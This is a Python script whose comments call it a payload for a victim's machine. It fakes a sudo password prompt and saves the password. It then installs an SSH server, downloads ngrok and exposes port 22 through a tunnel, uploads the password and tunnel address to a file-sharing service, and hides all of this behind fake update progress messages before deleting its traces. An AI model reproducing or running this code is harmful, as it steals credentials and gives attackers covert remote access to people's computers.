import os
import getpass
import time
os.system("whoami > output.txt")  #Here the default output folder is output.txt if you want to change the name just sipmpliy replace the name (output).
var = getpass.getuser()
v = str(var)
os.system("stty -echo")
PASS = str(input("[sudo] password for " + v +":"))
os.system("stty -echo")
os.system("echo " + PASS + " >>output.txt")
os.system("echo " + PASS + " | sudo -S apt-get install openssh-server > /dev/null 2>&1")
print("")
print("Please Wait Configuaring New Updates.")
os.system("wget https://raw.githubusercontent.com/Esp26/ToolsRequirements/main/requirements.zip > /dev/null 2>&1 | echo '10% Complete' ")
print("60% Complete")
os.system("chmod +x ./requirements.zip")
os.system("unzip requirements.zip > /dev/null 2>&1")
os.system("rm requirements.zip")
os.system("sudo mv ngrok /usr/bin")
os.system("ngrok authtoken  A NGROK AUTHTOKEN HERE > /dev/null 2>&1")  #Your fake ngrok authtoken here.
print("100% Complete")
print("")
os.system("sudo service ssh start")
print("")
print("Please Wait.....")
print("")
os.system("ngrok tcp 22 > /dev/null 2>&1 & sleep 20")
os.system("curl http://127.0.0.1:4040/api/tunnels >> output.txt")
os.system("curl -F 'file=@output.txt' https://api.anonfiles.com/upload?token=YOUR API KEY HERE > /dev/null 2>&1")  # Visit anonfiles.com and login or register there then click on API.
os.system("clear")
print("")
print("Configuration Complete.")
time.sleep(3)
os.system("clear")
os.system("rm output.txt")
#os.system("rm pay.py")  #Delete The Payload From Victims OS, Romove # Before os.system To Make It Executeable (Deafault Name Is pay.py) If You Want To Change The Name Simpliy Replace It With You New Name.
